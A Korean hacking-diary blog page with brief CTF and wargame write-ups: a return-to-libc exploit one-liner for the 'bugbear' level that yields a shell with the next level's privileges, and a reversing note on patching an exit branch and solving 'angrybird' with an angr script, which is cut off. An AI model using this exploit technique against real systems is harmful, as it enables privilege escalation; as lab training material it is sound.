고졸백수해킹일기

보호되어 있는 글입니다.

../bugbear `python -c 'print "\x90"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\x1a\xfc\xff\xbf"+"/bin/sh"'`;RTL을 이용하여 exploit해주면 된다.system 주소는 main에 bp를 걸어주고 p system을 쳐주면 구할 수 있다./bin/sh의 주소는 esp+8에 넣어주면 된다. uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)bash$ my-passeuid = 513new divide

바이너리를 실행하면 실행이 되지 않는다. .text:0000000000400778 cmp eax, 1요래 바꿔주고 > 안그러면 아래분기 jz에서 _exit로 뛰어버려 꺼진다. 아랫부분도 코드패치를 알아서 쓱싹쓱싹 해주면 된다. exit하는 부분이라 nop로 분기처리해도 되고 조건을 적당히 맞춰줘도 된다. 나머지는 앵거로 쓱.싹.해주면 된다. import angrp = angr.Project("./angrybird", load_options={'auto_load_libs':False})path_group = p.factory.path_group(threads=2)path_group.explore(find=0x404fc1)print path_group.found[0].state.posix.dumps(0) f..